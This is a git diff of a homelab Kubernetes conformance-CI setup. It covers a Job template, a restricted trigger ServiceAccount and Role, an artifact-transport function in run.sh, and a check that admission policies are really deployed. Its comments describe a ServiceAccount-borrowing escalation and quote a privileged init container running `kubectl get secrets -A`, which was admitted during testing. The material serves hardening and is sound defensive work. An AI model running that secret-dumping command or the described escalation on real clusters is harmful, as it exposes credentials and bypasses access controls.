# WHAT THE TRIGGER SUBSTITUTES — `@@NAME@@` tokens, NOT `${NAME}`
|
||||
# -----------------------------------------------------------------------------
|
||||
# The placeholder syntax is deliberately NOT shell syntax. `${NAME}` would be substituted by
|
||||
# `envsubst`, which has no way to tell a token meant for rendering from a shell reference
|
||||
# that belongs to a script — a trap this file walked into while the clone logic was still an
|
||||
# inline bash script here. `@@NAME@@` cannot collide with anything, and a surviving `@@` in a
|
||||
# rendered manifest is trivially greppable as "the trigger forgot to render this". Render
|
||||
# with a two-token sed, nothing cleverer:
|
||||
#
|
||||
# sed -e "s|@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@|${digest}|" \
|
||||
# -e "s|@@CONFORMANCE_GIT_SHA@@|${sha}|" conformance/incluster/chainsaw-job.yaml
|
||||
#
|
||||
# @@CONFORMANCE_RUNNER_IMAGE_DIGEST@@ the 64-hex digest of the pinned runner image.
|
||||
# Only the DIGEST is substituted — the registry path and the `@sha256:` pinning
|
||||
# are committed literals, so the substitution cannot repoint the image at another
|
||||
# repository, and the template still satisfies the policy's image pattern before
|
||||
# rendering. An unsubstituted digest fails as ImagePullBackOff, loudly.
|
||||
# @@CONFORMANCE_GIT_SHA@@ the 40-hex commit under test. The init container
|
||||
# REFUSES to run unless it matches ^[0-9a-f]{40}$, so an unsubstituted placeholder
|
||||
# or an injected value is a hard failure, never a run of the wrong tree.
|
||||
#
|
||||
# `args` is NOT a placeholder: it is a real list, and the trigger REPLACES it wholesale per
|
||||
# invocation shape. Keeping it a committed list (not a substituted scalar) is what lets this
|
||||
# file be handed to `kyverno apply` as-is.
|
||||
#
|
||||
# -----------------------------------------------------------------------------
|
||||
# WHICH ARGS ACTUALLY RUN ON THIS IMAGE — `--layer` IS MANDATORY AND MUST NAME ONLY l2/l3
|
||||
# -----------------------------------------------------------------------------
|
||||
# The runner image ships bash, git, python3, chainsaw and kubectl. It deliberately does NOT
|
||||
# ship flux, promtool, kyverno or kustomize, because L0/L1 are CI's job and run without a
|
||||
# cluster. But run.sh runs its OFFLINE L0/L1 stages first for any selection that is not
|
||||
# offline-only, and those stages need exactly those missing tools. Tracing run.sh:
|
||||
#
|
||||
# requirement_scoped_dirs() is layer-bounded ONLY when --layer is given and != all;
|
||||
# offline_selected_dirs() then filters the selection to /l0-static/|/l1-rendering/.
|
||||
#
|
||||
# so:
|
||||
# ["--layer","l2,l3"] -> offline selection EMPTY. RUNS.
|
||||
# ["--layer","l2,l3","--requirements","R-NET-01"] -> intersected to L2/L3. RUNS.
|
||||
# ["--layer","l2,l3","--include-scope","whole-repo"] -> scope union is ALSO
|
||||
# layer-bounded, so only whole-repo-scoped L2/L3 tests (none today). RUNS.
|
||||
# ["--requirements","R-NET-01"] (no --layer, so LAYER=all) -> unbounded: pulls that
|
||||
# requirement's L0/L1 tests into the run. FAILS on the missing toolchain.
|
||||
# ["--layer","all","--strict-coverage"] -> every L0/L1 test. FAILS.
|
||||
#
|
||||
# The first three are measured working by the image build (PR #18); the last two are measured
|
||||
# failing. **The plan's "PHASE EXIT: --layer all" shape therefore cannot run in-cluster** — a
|
||||
# full-suite run still belongs to CI for L0/L1 plus this Job for L2/L3, not to this Job alone.
|
||||
# The committed default below is the narrowest shape that works.
|
||||
#
|
||||
# The admission policy's args allowlist is deliberately NOT narrowed to enforce this: a
|
||||
# security boundary should not encode which toolchain an image happens to ship, and the failure
|
||||
# mode of an allowed-but-unrunnable shape is a loud non-zero run, not an escalation. This
|
||||
# comment is the enforcement, and `ci/conformance.sh` (plan §3 item 4) is where it must land.
|
||||
#
|
||||
# -----------------------------------------------------------------------------
|
||||
# RESULTS TRANSPORT — base64 tar on STDOUT, truncation-detectable
|
||||
# -----------------------------------------------------------------------------
|
||||
# `command` is pinned to ["./run.sh"] by admission, so nothing can be appended after the
|
||||
# suite to package artifacts. run.sh therefore does it itself, on an EXIT trap, when
|
||||
# CONF_EMIT_ARTIFACTS_TGZ=1 (set below and nowhere else). It prints:
|
||||
#
|
||||
# === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
|
||||
# <base64 of the tgz, wrapped at 76 columns>
|
||||
# === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
|
||||
#
|
||||
# The BEGIN and END headers are byte-identical and both carry the size, the base64 line
|
||||
# count and the sha256. A collector that checks all four (one BEGIN, one END, headers
|
||||
# equal, line count and digest match) cannot mistake a truncated `kubectl logs` for a
|
||||
# complete artifact set — which a bare blob would, because base64 decodes a truncated
|
||||
# stream to plausible garbage without complaint. See the block comment above
|
||||
# conf_emit_artifacts_tgz() in conformance/run.sh for the collector's exact obligations.
|
||||
#
|
||||
# `activeDeadlineSeconds` is deliberately shorter than the log-retention window: the
|
||||
# transport is the pod's log, so the Job must finish while that log still exists.
|
||||
# =============================================================================
|
||||
apiVersion: batch/v1
|
||||
kind: Job
|
||||
@@ -28,7 +180,10 @@ metadata:
|
||||
app.kubernetes.io/part-of: conformance
|
||||
spec:
|
||||
backoffLimit: 0 # deterministic: a failed conformance run is a failure, no retry
|
||||
# A retry would also re-emit the artifact envelope, giving the collector two BEGIN
|
||||
# markers in one log. backoffLimit 0 keeps "exactly one envelope per Job" true.
|
||||
ttlSecondsAfterFinished: 3600
|
||||
activeDeadlineSeconds: 5400 # L3 fault injection is slow; a hung run must not hold the gate
|
||||
template:
|
||||
metadata:
|
||||
labels:
|
||||
@@ -37,38 +192,118 @@ spec:
|
||||
serviceAccountName: conformance-runner # scoped test identity (rbac.yaml)
|
||||
restartPolicy: Never
|
||||
securityContext:
|
||||
# runAsUser is explicit, not inherited from the image's USER: `runAsNonRoot: true`
|
||||
# alone only *rejects* a root image, it does not choose a uid, and the runner image
|
||||
# is built by a separate task (plan §5 step 1). 65532 is the conventional
|
||||
# distroless `nonroot` uid; the Containerfile MUST create it. fsGroup makes both
|
||||
# emptyDirs group-writable for that uid.
|
||||
runAsNonRoot: true
|
||||
runAsUser: 65532
|
||||
runAsGroup: 65532
|
||||
fsGroup: 65532
|
||||
seccompProfile: { type: RuntimeDefault }
|
||||
containers:
|
||||
- name: chainsaw
|
||||
# PIN to versions.env CHAINSAW_IMAGE (ghcr.io/kyverno/chainsaw:v0.2.12).
|
||||
image: ghcr.io/kyverno/chainsaw:v0.2.12
|
||||
workingDir: /workspace/conformance
|
||||
# The suite repo is delivered into /workspace (git clone init-container or
|
||||
# a Flux-populated volume). run.sh is the single entrypoint (identical to local).
|
||||
command: ["./run.sh"]
|
||||
# CI overrides args per invocation shape:
|
||||
# ["--requirements", "R-NET-01,R-NET-06"] (merge gate) OR
|
||||
# ["--layer", "all", "--strict-coverage"] (phase exit)
|
||||
args: ["--layer", "all", "--strict-coverage"]
|
||||
initContainers:
|
||||
# ---------------------------------------------------------------------
|
||||
# Deliver the suite AT THE COMMIT UNDER TEST into the shared workspace.
|
||||
#
|
||||
# NO SCRIPT AND NO ARGS HERE, DELIBERATELY. The logic lives in the repo at
|
||||
# conformance/incluster/conformance-clone and is baked into the runner image at
|
||||
# /usr/local/bin/conformance-clone. That is what makes the init container
|
||||
# ENFORCEABLE: while the script was inline as `command: ["/bin/bash","-c"]` +
|
||||
# `args: [<script>]`, no admission policy could distinguish the committed script
|
||||
# from an attacker's — both are just `args` on a shell, and a Job with a privileged
|
||||
# alpine init container running `kubectl get secrets -A` was ADMITTED (measured
|
||||
# 2026-09-29). Rule `trigger-initcontainers-must-be-the-committed-clone-step` now
|
||||
# pins this container to that one path with NO args, so it carries no
|
||||
# caller-supplied code. Read that entrypoint for the clone/fetch/assert logic
|
||||
# and for why the repository URL is hardcoded THERE rather than passed in env.
|
||||
#
|
||||
# Only the commit SHA is caller-supplied, and the entrypoint refuses anything that
|
||||
# is not 40 hex characters before it touches the network.
|
||||
# ---------------------------------------------------------------------
|
||||
- name: clone-suite-at-commit
|
||||
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@
|
||||
command: ["/usr/local/bin/conformance-clone"]
|
||||
env:
|
||||
- name: CONF_ROOT
|
||||
value: /workspace/conformance
|
||||
- name: CONFORMANCE_GIT_SHA
|
||||
value: "@@CONFORMANCE_GIT_SHA@@"
|
||||
# BY SECRET NAME ONLY. Provisioned out-of-band by the operator (plan §3.6) as a
|
||||
# READ-ONLY Gitea token with read access to this one repository — never a write
|
||||
# token, never a deploy key with push. Keys: `username`, `token`.
|
||||
# An env var is not a volume, which is how this coexists with the admission
|
||||
# policy's workspace/results-only rule.
|
||||
- name: GITEA_USERNAME
|
||||
valueFrom:
|
||||
secretKeyRef: { name: conformance-git-readonly, key: username }
|
||||
- name: GITEA_TOKEN
|
||||
valueFrom:
|
||||
secretKeyRef: { name: conformance-git-readonly, key: token }
|
||||
# Writable scratch + HOME on the workspace emptyDir, so the root filesystem
|
||||
# stays read-only and no third volume is needed.
|
||||
- name: TMPDIR
|
||||
value: /workspace/tmp
|
||||
- name: HOME
|
||||
value: /workspace/home
|
||||
volumeMounts:
|
||||
- { name: workspace, mountPath: /workspace }
|
||||
- { name: results, mountPath: /workspace/conformance/_artifacts }
|
||||
securityContext:
|
||||
allowPrivilegeEscalation: false
|
||||
readOnlyRootFilesystem: true
|
||||
capabilities: { drop: ["ALL"] }
|
||||
runAsNonRoot: true
|
||||
resources:
|
||||
requests: { cpu: 100m, memory: 128Mi }
|
||||
limits: { cpu: "1", memory: 512Mi }
|
||||
containers:
|
||||
- name: chainsaw
|
||||
# Digest-pinned under the conformance repository path — the admission policy
|
||||
# rejects a mutable tag. Built from conformance/versions.env CHAINSAW_VERSION
|
||||
# (+ kubectl, git, python3, bash); see plan §5 step 1.
|
||||
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@
|
||||
workingDir: /workspace/src/conformance
|
||||
# PINNED BY ADMISSION. Nothing may wrap or follow it, which is why the artifact
|
||||
# envelope is emitted by run.sh itself rather than by a shell one-liner here.
|
||||
command: ["./run.sh"]
|
||||
# Replaced wholesale by the trigger per invocation shape (see the header).
|
||||
# `--layer l2,l3` and NOT `--layer all`: see the WHICH ARGS ACTUALLY RUN block.
|
||||
args: ["--layer", "l2,l3"]
|
||||
env:
|
||||
# run.sh derives CONF_ROOT from its own location; CONF_ARTIFACTS moves the
|
||||
# artifact tree onto the `results` volume. It cannot live at its default
|
||||
# conformance/_artifacts, because a volume mounted inside the clone target
|
||||
# would make that directory non-empty and `git clone` would refuse it.
|
||||
- name: CONF_ARTIFACTS
|
||||
value: /results
|
||||
# THE RESULTS CHANNEL. Set here and nowhere else: a local run must not spray a
|
||||
# base64 tar over an operator's terminal.
|
||||
- name: CONF_EMIT_ARTIFACTS_TGZ
|
||||
value: "1"
|
||||
- name: TMPDIR
|
||||
value: /workspace/tmp
|
||||
- name: HOME
|
||||
value: /workspace/home
|
||||
volumeMounts:
|
||||
- { name: workspace, mountPath: /workspace }
|
||||
- { name: results, mountPath: /results }
|
||||
securityContext:
|
||||
allowPrivilegeEscalation: false
|
||||
readOnlyRootFilesystem: true
|
||||
capabilities: { drop: ["ALL"] }
|
||||
runAsNonRoot: true
|
||||
# L3 fault injection drives etcd and Longhorn hard (see run.sh's HEAVY set and
|
||||
# config/chainsaw-config.yaml); the limits bound the blast radius on a homelab
|
||||
# node without starving the suite.
|
||||
resources:
|
||||
requests: { cpu: 250m, memory: 512Mi }
|
||||
limits: { cpu: "2", memory: 2Gi }
|
||||
volumes:
|
||||
# Suite source: populated by an init-container git clone of the impl repo at
|
||||
# the commit under test, OR a Flux-synced source volume. (Init container
|
||||
# omitted from this skeleton; wire in T-6.1b.)
|
||||
# ONLY THESE TWO NAMES ARE ADMISSIBLE. Do not add a third.
|
||||
# Suite source, written by the init container: /workspace/src is the checkout,
|
||||
# /workspace/tmp is $TMPDIR, /workspace/home is $HOME.
|
||||
- name: workspace
|
||||
emptyDir: {}
|
||||
# Results: CI collects report.junit.xml + coverage/ from here. Swap emptyDir
|
||||
# for a results PVC if durability beyond pod lifetime is required.
|
||||
# Artifact tree ($CONF_ARTIFACTS). Its contents are what the STDOUT envelope
|
||||
# carries; an emptyDir is sufficient because the transport is the log, not the
|
||||
# volume. Swap for a PVC only if the log channel is replaced (plan §7 item 4).
|
||||
- name: results
|
||||
emptyDir: {}
|
||||
@@ -0,0 +1,14 @@
|
||||
# Reconciled by clusters/base/conformance.yaml (non-gating, wait:false).
|
||||
#
|
||||
# RBAC ONLY. chainsaw-job.yaml is deliberately NOT listed: that manifest is a TEMPLATE the CI
|
||||
# trigger renders and submits per run (with the commit SHA and the touched --requirements). Flux
|
||||
# reconciling it would create a permanent Job object and fight the trigger for ownership.
|
||||
#
|
||||
# The identities here are inert without
|
||||
# platform/kyverno/admission/conformance-trigger-job-shape.yaml, which is what actually bounds
|
||||
# the trigger to the committed run shape. RBAC is the necessary half, that policy the sufficient
|
||||
# half — see the header of rbac.yaml.
|
||||
apiVersion: kustomize.config.k8s.io/v1beta1
|
||||
kind: Kustomization
|
||||
resources:
|
||||
- rbac.yaml
|
||||
@@ -174,3 +174,68 @@ subjects:
|
||||
- kind: ServiceAccount
|
||||
name: conformance-runner
|
||||
namespace: conformance
|
||||
---
|
||||
# =============================================================================
|
||||
# THE TRIGGER IDENTITY — deliberately NOT conformance-runner.
|
||||
#
|
||||
# THE ESCALATION THIS EXISTS TO CLOSE (docs/plans/l2-l3-conformance-ci-wiring.md §4):
|
||||
# Kubernetes places NO `use` check on a Pod/Job's `serviceAccountName`. So any principal
|
||||
# that can `create jobs` in this namespace can create a Job with
|
||||
# `serviceAccountName: conformance-runner` and an ARBITRARY command — i.e. run arbitrary
|
||||
# code with the runner's privileges (nodes/patch, pods/exec, namespaces/patch, jobs).
|
||||
# A CI-held token with plain `create jobs` therefore IS the privileged identity, no matter
|
||||
# how narrow its own RBAC looks. That would break R-SEC-02 ("CI holds no broad cluster
|
||||
# access") while appearing to satisfy it.
|
||||
#
|
||||
# RBAC ALONE CANNOT FIX THIS. The real boundary is the admission policy
|
||||
# platform/kyverno/admission/conformance-trigger-job-shape.yaml, which admits Jobs from
|
||||
# THIS ServiceAccount only when they match the committed conformance shape. This Role is
|
||||
# the necessary half; that policy is the sufficient half. Neither works alone — do not
|
||||
# grant this Role without that policy reconciled and ENFORCING.
|
||||
#
|
||||
# Namespaced Role, bound only in `conformance`. No ClusterRole, deliberately.
|
||||
# =============================================================================
|
||||
apiVersion: v1
|
||||
kind: ServiceAccount
|
||||
metadata:
|
||||
name: conformance-trigger
|
||||
namespace: conformance
|
||||
labels:
|
||||
app.kubernetes.io/part-of: conformance
|
||||
---
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: Role
|
||||
metadata:
|
||||
name: conformance-trigger
|
||||
namespace: conformance
|
||||
labels:
|
||||
app.kubernetes.io/part-of: conformance
|
||||
rules:
|
||||
# Create the run, and watch it to completion.
|
||||
- apiGroups: [batch]
|
||||
resources: [jobs]
|
||||
verbs: [create, get, list, watch]
|
||||
# Read the Job's pod and its log — this is how results come back. Deliberately NOT
|
||||
# pods/exec and NOT `kubectl cp`: the run tars its artifacts to stdout and CI decodes
|
||||
# them from the log, so no execution channel into the runner pod is ever granted.
|
||||
- apiGroups: [""]
|
||||
resources: [pods, pods/log]
|
||||
verbs: [get, list, watch]
|
||||
# NOTHING ELSE. In particular NO delete on jobs (a trigger that can delete can hide a
|
||||
# failed run), no secrets, no configmaps, no exec, no create on pods.
|
||||
---
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: RoleBinding
|
||||
metadata:
|
||||
name: conformance-trigger
|
||||
namespace: conformance
|
||||
labels:
|
||||
app.kubernetes.io/part-of: conformance
|
||||
roleRef:
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
kind: Role
|
||||
name: conformance-trigger
|
||||
subjects:
|
||||
- kind: ServiceAccount
|
||||
name: conformance-trigger
|
||||
namespace: conformance
|
||||
+111
-1
@@ -60,6 +60,17 @@
|
||||
# _artifacts/status/status.md human requirement-status report (--status)
|
||||
# _artifacts/status/status.json machine requirement-status report (--status)
|
||||
#
|
||||
# Environment (both set ONLY by the in-cluster Job, incluster/chainsaw-job.yaml):
|
||||
# CONF_ARTIFACTS=<dir> relocate the artifact tree off the default
|
||||
# conformance/_artifacts (the Job mounts a `results`
|
||||
# volume, which cannot sit inside the git-clone target).
|
||||
# CONF_EMIT_ARTIFACTS_TGZ=1 on exit — pass, fail or abort — print a delimited,
|
||||
# checksummed base64 tar of the artifact tree to STDOUT,
|
||||
# because `kubectl logs` is the only channel CI has out of
|
||||
# the Job (no pods/exec, no kubectl cp). See the RESULTS
|
||||
# TRANSPORT block below for the envelope and for the five
|
||||
# checks a collector MUST make. Never set this locally.
|
||||
#
|
||||
# Run ledger (TRACKED — commit these; --record only):
|
||||
# runs/<UTC>-<short-sha>/run.log full tee'd run output (carries the sentinels)
|
||||
# runs/<UTC>-<short-sha>/report.junit.xml the JUnit for that same run
|
||||
@@ -78,7 +89,12 @@ source "${CONF_ROOT}/lib/common.sh"
|
||||
# shellcheck source=versions.env
|
||||
source "${CONF_ROOT}/versions.env"
|
||||
|
||||
ARTIFACTS="${CONF_ROOT}/_artifacts"
|
||||
# CONF_ARTIFACTS relocates the whole artifact tree. The in-cluster Job needs it (see
|
||||
# incluster/chainsaw-job.yaml): its `results` volume cannot be mounted at the default
|
||||
# path, because that path is inside the directory the init container `git clone`s into and
|
||||
# a mounted-in directory would make the clone target non-empty. Unset everywhere else, so
|
||||
# a local run is byte-identical to what it always was.
|
||||
ARTIFACTS="${CONF_ARTIFACTS:-${CONF_ROOT}/_artifacts}"
|
||||
COVERAGE_OUT="${ARTIFACTS}/coverage"
|
||||
STATUS_OUT="${ARTIFACTS}/status"
|
||||
JUNIT_OUT="${ARTIFACTS}/report.junit.xml"
|
||||
@@ -208,6 +224,100 @@ if [ "${RECORD}" = 1 ] && [ -z "${CONF_RECORD_CHILD:-}" ]; then
|
||||
exit "${RUN_RC}"
|
||||
fi
|
||||
|
||||
###############################################################################
|
||||
# RESULTS TRANSPORT (in-cluster only): a self-describing, truncation-detectable
|
||||
# base64 tar of the artifact tree, printed to STDOUT. OFF unless CONF_EMIT_ARTIFACTS_TGZ=1.
|
||||
#
|
||||
# WHY THIS LIVES IN run.sh AND NOT IN THE JOB MANIFEST. The admission policy that bounds
|
||||
# the CI trigger (platform/kyverno/admission/conformance-trigger-job-shape.yaml, Enforce +
|
||||
# fail-closed) pins the Job's `command` to exactly ["./run.sh"], so no shell may wrap the
|
||||
# suite to package artifacts afterwards. And the trigger identity deliberately holds NO
|
||||
# pods/exec and cannot `kubectl cp` (R-SEC-02; docs/plans/l2-l3-conformance-ci-wiring.md
|
||||
# §3.3 and §4), so `kubectl logs` is the ONLY channel out of the Job. The runner therefore
|
||||
# has to put its own artifacts on its own stdout. It is an EXIT trap, so a FAILED run still
|
||||
# ships its JUnit — the red report is the evidence the gate needs most.
|
||||
#
|
||||
# WHY THE ENVELOPE LOOKS LIKE THIS. `kubectl logs` is a lossy channel: `--tail`, a rotated
|
||||
# CRI log file, a dropped watch, or CRI's per-line split can each deliver a mere PREFIX of
|
||||
# the stream. base64 decodes a truncated stream without complaint, into a tar that gunzip
|
||||
# may even partially unpack — silent, plausible garbage. So the envelope carries everything
|
||||
# needed to PROVE completeness, and carries it TWICE:
|
||||
#
|
||||
# === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
|
||||
# <base64 of the .tgz, wrapped at 76 columns>
|
||||
# === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
|
||||
#
|
||||
# THE COLLECTOR MUST DO ALL FIVE CHECKS, and treat any failure as a COLLECTION FAILURE —
|
||||
# never as "no artifacts", never as a pass:
|
||||
# 1. exactly one BEGIN line and exactly one END line;
|
||||
# 2. the two header payloads (everything after BEGIN/END) byte-identical — a mismatch
|
||||
# means two interleaved or re-emitted envelopes in one log;
|
||||
# 3. the count of body lines between them equals lines=;
|
||||
# 4. the decoded byte count equals bytes=;
|
||||
# 5. sha256 of the decoded bytes equals sha256=.
|
||||
# No check is sufficient alone. A head-truncated log fails (1); a tail-truncated one fails
|
||||
# (1); a dropped interior line fails (3) and (5); a corrupted line that preserves the line
|
||||
# count fails (5). (1)+(2) are what make a partial log DETECTABLE rather than decodable,
|
||||
# which is the whole design requirement.
|
||||
#
|
||||
# `rc=` is the suite's own exit code, carried INSIDE the envelope so CI can cross-check it
|
||||
# against the Job's completion condition instead of trusting either signal alone.
|
||||
#
|
||||
# The archive holds the CONTENTS of the artifact tree (`tar -C "$ARTIFACTS" .`), not the
|
||||
# directory itself: CONF_ARTIFACTS makes that directory's NAME environment-specific
|
||||
# (`/results` in the Job, `conformance/_artifacts` locally), and an archive whose top-level
|
||||
# entry changed with the environment would be a trap for the collector. It unpacks the
|
||||
# contents wherever it likes.
|
||||
#
|
||||
# A packaging failure prints a single `... ERROR ...` marker and NOTHING else: no BEGIN, so
|
||||
# the collector's check (1) fails and it cannot mistake the run for one with no artifacts.
|
||||
###############################################################################
|
||||
CONF_ARTIFACT_MARKER="ARTIFACTS-TGZ-BASE64"
|
||||
CONF_ARTIFACT_ENVELOPE_VERSION="v1"
|
||||
|
||||
conf_emit_artifacts_tgz() {
|
||||
local rc="${1:-0}"
|
||||
# Disarm FIRST: this runs from the EXIT trap and re-arming would recurse on the `exit`
|
||||
# below. That explicit `exit "${rc}"` is also what guarantees this whole function cannot
|
||||
# change the run's verdict — nothing here can turn a red run green or a green run red.
|
||||
trap - EXIT
|
||||
(
|
||||
set +e
|
||||
local tmp tgz b64 bytes lines sha payload
|
||||
tmp="${TMPDIR:-/tmp}"
|
||||
tgz="${tmp}/conformance-artifacts.$$.tgz"
|
||||
b64="${tgz}.b64"
|
||||
if ! tar -czf "${tgz}" -C "${ARTIFACTS}" . 2>/dev/null; then
|
||||
printf '=== %s ERROR %s rc=%s reason=tar-failed path=%s ===\n' \
|
||||
"${CONF_ARTIFACT_MARKER}" "${CONF_ARTIFACT_ENVELOPE_VERSION}" "${rc}" "${ARTIFACTS}"
|
||||
rm -f "${tgz}"
|
||||
exit 0
|
||||
fi
|
||||
if ! base64 -w 76 < "${tgz}" > "${b64}" || ! command -v sha256sum >/dev/null 2>&1; then
|
||||
printf '=== %s ERROR %s rc=%s reason=encode-failed ===\n' \
|
||||
"${CONF_ARTIFACT_MARKER}" "${CONF_ARTIFACT_ENVELOPE_VERSION}" "${rc}"
|
||||
rm -f "${tgz}" "${b64}"
|
||||
exit 0
|
||||
fi
|
||||
bytes="$(wc -c < "${tgz}" | tr -d '[:space:]')"
|
||||
lines="$(wc -l < "${b64}" | tr -d '[:space:]')"
|
||||
sha="$(sha256sum "${tgz}" | cut -d' ' -f1)"
|
||||
payload="${CONF_ARTIFACT_ENVELOPE_VERSION} rc=${rc} bytes=${bytes} lines=${lines} sha256=${sha}"
|
||||
printf '=== %s BEGIN %s ===\n' "${CONF_ARTIFACT_MARKER}" "${payload}"
|
||||
cat "${b64}"
|
||||
printf '=== %s END %s ===\n' "${CONF_ARTIFACT_MARKER}" "${payload}"
|
||||
rm -f "${tgz}" "${b64}"
|
||||
exit 0
|
||||
)
|
||||
exit "${rc}"
|
||||
}
|
||||
|
||||
# Armed here, AFTER the --record re-exec above, so the recorder's parent process never
|
||||
# emits a second envelope into its child's tee'd log.
|
||||
if [ "${CONF_EMIT_ARTIFACTS_TGZ:-0}" = 1 ]; then
|
||||
trap 'conf_emit_artifacts_tgz "$?"' EXIT
|
||||
fi
|
||||
|
||||
# --- Coverage report is always produced (cluster-independent, R-TEST-04) --------------
|
||||
gen_coverage() {
|
||||
# Pass --allow-gap only when there IS an exemption: an empty DOCUMENTED_GAPS means no
|
||||
|
||||
@@ -0,0 +1,42 @@
|
||||
# =============================================================================
|
||||
# L0 STATIC — every authored admission policy is actually APPLIED (R-SEC-01, R-SEC-02)
|
||||
# Catalog: docs/14 L0 row ("Pre-apply, in CI") — runs WITHOUT a cluster.
|
||||
#
|
||||
# WHY THIS EXISTS. `kyverno test` proves a policy is CORRECT. Nothing proved it was DEPLOYED.
|
||||
# platform/kyverno/ holds three lists and only platform-config/kustomization.yaml applies
|
||||
# anything; the other two are a reference copy and a namespace+HelmRelease render root. On
|
||||
# 2026-09-29 the R-SEC-02 boundary policy was added to the reference copy: it parsed, its
|
||||
# kyverno test passed, the gate passed, Flux reported the tier Ready at the new revision — and
|
||||
# the cluster ran the conformance-trigger ServiceAccount with nothing bounding it.
|
||||
#
|
||||
# WHOLE-REPO SCOPE, DELIBERATELY. The failure mode is a policy that is present but wired
|
||||
# nowhere, which by definition touches no requirement the diff attributes. A path-scoped run
|
||||
# would have skipped this check on the very commit that introduced the defect.
|
||||
# =============================================================================
|
||||
apiVersion: chainsaw.kyverno.io/v1alpha1
|
||||
kind: Test
|
||||
metadata:
|
||||
name: admission-policies-actually-applied
|
||||
labels:
|
||||
conformance.home.k3s/R-SEC-01: "true"
|
||||
conformance.home.k3s/R-SEC-02: "true"
|
||||
annotations:
|
||||
conformance.home.k3s/requirements: "R-SEC-01,R-SEC-02"
|
||||
conformance.home.k3s/layer: "L0"
|
||||
conformance.home.k3s/scope: "whole-repo"
|
||||
conformance.home.k3s/safety-critical: "false"
|
||||
conformance.home.k3s/executable: "true"
|
||||
conformance.home.k3s/intent: >-
|
||||
Every ClusterPolicy authored under platform/kyverno/ is either referenced by
|
||||
platform-config/kustomization.yaml (so Flux applies it) or is a documented CI-only
|
||||
exemption that is genuinely not applied — so a policy cannot be authored, tested,
|
||||
green, and absent from the cluster.
|
||||
spec:
|
||||
steps:
|
||||
- name: every-authored-policy-is-applied-or-documented-ci-only
|
||||
description: >-
|
||||
Enumerate the ClusterPolicy files under platform/kyverno/ and assert each is wired
|
||||
into the Kustomization that actually applies Kyverno CRs, or exempted with a reason.
|
||||
try:
|
||||
- script:
|
||||
content: bash ./check.sh
|
||||
@@ -0,0 +1,120 @@
|
||||
#!/usr/bin/env bash
|
||||
# =============================================================================
|
||||
# L0 static check (offline, no cluster) — admission-policies-actually-applied
|
||||
# Serves: R-SEC-01, R-SEC-02 (admission enforcement is only real if it is APPLIED)
|
||||
#
|
||||
# WHY THIS EXISTS — a policy that ships green and never reaches the cluster.
|
||||
#
|
||||
# platform/kyverno/ holds THREE lists, and only one of them applies anything:
|
||||
# 1. platform/kyverno/admission/kustomization.yaml — reference only. Its own sibling says
|
||||
# "kept as reference; THIS file is the buildable render root".
|
||||
# 2. platform/kyverno/kustomization.yaml — that render root: namespace +
|
||||
# HelmRelease ONLY. It explicitly notes the ClusterPolicies are applied elsewhere.
|
||||
# 3. platform-config/kustomization.yaml — THE ONE. Kyverno CRs go here because
|
||||
# they need the CRDs from the HelmRelease in (2), so they reconcile a tier later.
|
||||
#
|
||||
# On 2026-09-29 a ClusterPolicy (conformance-trigger-job-shape, the R-SEC-02 boundary bounding
|
||||
# what the conformance CI trigger may create) was added to (1). Everything went green: the file
|
||||
# parsed, `kyverno test` exercised it BY PATH and passed, the gate passed, Flux reported
|
||||
# `platform` Ready at the new revision — and the policy was never in any applied set. The
|
||||
# cluster ended up running the conformance-trigger ServiceAccount with NOTHING bounding it,
|
||||
# which is precisely the state that identity's own RBAC header says must never exist.
|
||||
#
|
||||
# Nothing could have caught it. `kyverno test` proves a policy is CORRECT, not that it is
|
||||
# DEPLOYED. This check asserts the second thing.
|
||||
#
|
||||
# GIVEN the repository as git tracks it,
|
||||
# WHEN every file under platform/kyverno/ that declares a ClusterPolicy is enumerated,
|
||||
# THEN each one is either referenced by platform-config/kustomization.yaml (so Flux applies
|
||||
# it), or named in CI_ONLY below with a reason — and CI_ONLY itself may not name a
|
||||
# policy that IS applied, so the exemption list cannot rot into a lie either way.
|
||||
# =============================================================================
|
||||
set -euo pipefail
|
||||
DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
ROOT="$(cd "${DIR}/../../../.." && pwd)" # repo root
|
||||
exec python3 - "$ROOT" <<'PY'
|
||||
import sys, subprocess
|
||||
from pathlib import Path
|
||||
|
||||
ROOT = Path(sys.argv[1])
|
||||
FAILURES, CHECKS = [], 0
|
||||
|
||||
def check(cond, desc):
|
||||
global CHECKS
|
||||
CHECKS += 1
|
||||
if not cond:
|
||||
FAILURES.append(desc)
|
||||
|
||||
# Policies authored for the CI L0 gate that are deliberately NOT applied in-cluster. Each needs
|
||||
# a reason, and each is asserted BELOW to really be absent from the applied set — an exemption
|
||||
# that silently starts being applied is as much a lie as one that silently stops.
|
||||
CI_ONLY = {
|
||||
"disallow-plaintext-secrets":
|
||||
"CI-only by design: it requires a top-level `sops` block, which is IMPOSSIBLE at "
|
||||
"admission because Flux decrypts before the Secret reaches the API server. Its "
|
||||
"in-cluster counterpart is admission/secret-provenance.yaml.",
|
||||
}
|
||||
|
||||
tracked = subprocess.run(["git", "ls-files", "-z", "--", "platform/kyverno/**/*.yaml",
|
||||
"platform/kyverno/*.yaml"],
|
||||
cwd=ROOT, capture_output=True, text=True, check=True)
|
||||
files = [ROOT / p for p in tracked.stdout.split("\0") if p]
|
||||
|
||||
# A ClusterPolicy file, identified without a YAML parse of every doc: cheap and sufficient.
|
||||
policies = {}
|
||||
for f in files:
|
||||
try:
|
||||
txt = f.read_text()
|
||||
except Exception:
|
||||
continue
|
||||
if "kind: ClusterPolicy" not in txt:
|
||||
continue
|
||||
for line in txt.splitlines():
|
||||
st = line.strip()
|
||||
